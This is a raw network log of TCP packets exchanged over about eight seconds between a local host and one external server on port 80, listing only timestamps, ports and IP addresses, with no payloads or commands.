Apr 28, 2021 23:24:56.805092096 CEST	50320	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.917426109 CEST	50320	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.920104027 CEST	50321	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.013609886 CEST	80	50320	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.013720989 CEST	50320	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.017977953 CEST	80	50321	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.018059015 CEST	50321	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.018527031 CEST	50321	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.115825891 CEST	80	50321	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.119141102 CEST	80	50321	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.119290113 CEST	50321	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.229306936 CEST	50321	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.231816053 CEST	50322	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.326781988 CEST	80	50321	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.326859951 CEST	50321	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.335474014 CEST	80	50322	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.335580111 CEST	50322	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.373060942 CEST	50322	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.476552963 CEST	80	50322	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.482193947 CEST	80	50322	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.484313965 CEST	50322	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.588567019 CEST	50322	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.590473890 CEST	50323	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.684010983 CEST	80	50323	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.684194088 CEST	50323	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.685350895 CEST	50323	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.691844940 CEST	80	50322	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.692141056 CEST	50322	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.778767109 CEST	80	50323	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.782855034 CEST	80	50323	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.782999992 CEST	50323	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.885768890 CEST	50323	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.887267113 CEST	50326	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.979273081 CEST	80	50323	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.979338884 CEST	50323	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.988754034 CEST	80	50326	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:57.989171028 CEST	50326	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:57.990233898 CEST	50326	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.092909098 CEST	80	50326	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.096558094 CEST	80	50326	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.096719980 CEST	50326	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.213884115 CEST	50326	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.215487003 CEST	50327	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.314687014 CEST	80	50326	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.314740896 CEST	80	50327	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.314807892 CEST	50326	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.314960957 CEST	50327	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.315407991 CEST	50327	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.412630081 CEST	80	50327	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.417551041 CEST	80	50327	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.417622089 CEST	50327	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.525441885 CEST	50327	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.526494980 CEST	50329	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.622922897 CEST	80	50327	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.624700069 CEST	50327	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.627979994 CEST	80	50329	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.628072977 CEST	50329	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.628566980 CEST	50329	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.730021000 CEST	80	50329	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.737673044 CEST	80	50329	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.737869978 CEST	50329	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.855897903 CEST	50329	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.857716084 CEST	50330	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.953586102 CEST	80	50330	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.954612970 CEST	50330	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.956099033 CEST	50330	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:58.957608938 CEST	80	50329	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:58.958159924 CEST	50329	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.041583061 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.052854061 CEST	80	50330	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.057188988 CEST	80	50330	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.057611942 CEST	50330	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.137522936 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.140302896 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.140624046 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.166126013 CEST	50330	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.167174101 CEST	50332	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.238250971 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.238276958 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.238483906 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.238518953 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.238526106 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.238533020 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.238605022 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.238882065 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.238991022 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.239072084 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.239135981 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.239326000 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.239386082 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.239851952 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.239958048 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.239975929 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.240036011 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.240238905 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.240421057 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.262077093 CEST	80	50332	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.262240887 CEST	50332	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.263226986 CEST	50332	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.265561104 CEST	80	50330	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.265707016 CEST	50330	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.336695910 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336719990 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336726904 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336740971 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336749077 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336755991 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336762905 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336776018 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336782932 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336792946 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336800098 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336810112 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336817026 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.336885929 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.336977959 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.357002020 CEST	80	50332	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.361126900 CEST	80	50332	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.361367941 CEST	50332	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.433800936 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.433825970 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.433834076 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.433840990 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.433947086 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.434026003 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.434097052 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.434504986 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.434520960 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.434659958 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.434704065 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.434715986 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.434792995 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.463973045 CEST	50332	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.465678930 CEST	50333	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.529601097 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.529629946 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.529638052 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.529942989 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.529958010 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530093908 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530109882 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530287981 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530303001 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530536890 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530553102 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530775070 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.530792952 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.532655001 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.532836914 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.557573080 CEST	80	50332	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.557920933 CEST	50332	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.560566902 CEST	80	50333	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.560764074 CEST	50333	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.561279058 CEST	50333	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.629690886 CEST	80	50331	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.629815102 CEST	50331	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.657250881 CEST	80	50333	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.666915894 CEST	80	50333	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.666997910 CEST	50333	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.776936054 CEST	50333	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.778500080 CEST	50335	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.873564005 CEST	80	50333	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.873728037 CEST	50333	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.877346039 CEST	80	50335	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.877563953 CEST	50335	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.878521919 CEST	50335	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:59.976799965 CEST	80	50335	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.980381012 CEST	80	50335	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:59.981729031 CEST	50335	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.167314053 CEST	50335	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.168363094 CEST	50336	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.266230106 CEST	80	50335	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.266329050 CEST	50335	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.269692898 CEST	80	50336	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.269813061 CEST	50336	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.275718927 CEST	50336	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.375761986 CEST	80	50336	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.379638910 CEST	80	50336	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.379722118 CEST	50336	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.495433092 CEST	50336	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.496469975 CEST	50337	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.591137886 CEST	80	50337	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.591279030 CEST	50337	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.591881990 CEST	50337	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.595124006 CEST	80	50336	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.595228910 CEST	50336	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.686412096 CEST	80	50337	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.689815044 CEST	80	50337	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.689929962 CEST	50337	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.806680918 CEST	50337	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.807720900 CEST	50339	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.901268959 CEST	80	50337	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.901427984 CEST	50337	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:00.905291080 CEST	80	50339	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:00.905472994 CEST	50339	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.223176956 CEST	50339	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.320838928 CEST	80	50339	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:01.331053019 CEST	80	50339	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:01.331131935 CEST	50339	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.448261023 CEST	50339	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.449295998 CEST	50340	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.542485952 CEST	80	50340	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:01.542614937 CEST	50340	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.544717073 CEST	50340	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.545726061 CEST	80	50339	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:01.545835972 CEST	50339	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:01.637751102 CEST	80	50340	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:01.646800995 CEST	80	50340	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:01.646962881 CEST	50340	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:02.633071899 CEST	50340	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:02.634856939 CEST	50341	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:02.726092100 CEST	80	50340	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:02.726252079 CEST	50340	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:02.728264093 CEST	80	50341	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:02.728384972 CEST	50341	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:02.742316961 CEST	50341	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:02.837027073 CEST	80	50341	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:02.841129065 CEST	80	50341	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:02.841308117 CEST	50341	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.089807987 CEST	50341	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.091238022 CEST	50342	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.137260914 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.183125019 CEST	80	50341	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.183255911 CEST	50341	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.189564943 CEST	80	50342	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.189677000 CEST	50342	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.190324068 CEST	50342	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.234101057 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.234225988 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.239037991 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.287875891 CEST	80	50342	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.292161942 CEST	80	50342	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.292273998 CEST	50342	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.336159945 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.336186886 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.336196899 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.336379051 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.336385965 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.336452007 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.401279926 CEST	50342	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.402690887 CEST	50344	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.435296059 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.435323000 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.435338020 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.435478926 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.435493946 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.435492039 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.435597897 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.435638905 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.500695944 CEST	80	50342	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.500780106 CEST	50342	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.503657103 CEST	80	50344	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.503946066 CEST	50344	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.504405022 CEST	50344	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.532263041 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532294989 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532320976 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532386065 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532397985 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.532440901 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.532465935 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.532571077 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532596111 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532675028 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532716036 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.532747030 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.532771111 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.532805920 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.532985926 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.533013105 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.533087015 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.603667021 CEST	80	50344	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.607357979 CEST	80	50344	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.607428074 CEST	50344	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.629219055 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629237890 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629312992 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.629362106 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629501104 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629513979 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629699945 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629710913 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629770994 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629937887 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.629952908 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.630177021 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.630332947 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.630539894 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.630692959 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.630826950 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.630975008 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.631339073 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.631352901 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.631494999 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.631741047 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.631755114 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.631855011 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.632018089 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.671911955 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.713538885 CEST	50344	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.715248108 CEST	50345	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.727973938 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.729459047 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.734049082 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.812593937 CEST	80	50344	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.812859058 CEST	50344	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.812958002 CEST	80	50345	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.813066006 CEST	50345	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.813833952 CEST	50345	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.830904961 CEST	80	50343	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.831660986 CEST	50343	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:03.911689997 CEST	80	50345	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.916151047 CEST	80	50345	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:03.916249037 CEST	50345	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.026473999 CEST	50345	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.045248985 CEST	50347	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.124932051 CEST	80	50345	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.125061989 CEST	50345	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.142926931 CEST	80	50347	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.144093990 CEST	50347	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.144613028 CEST	50347	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.240448952 CEST	80	50347	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.244637966 CEST	80	50347	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.246052027 CEST	50347	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.354417086 CEST	50347	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.360493898 CEST	50348	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.450006962 CEST	80	50347	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.450201988 CEST	50347	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.456759930 CEST	80	50348	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.457350016 CEST	50348	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.457593918 CEST	50348	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:04.553117990 CEST	80	50348	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:04.557169914 CEST	80	50348	176.111.174.114	192.168.2.5
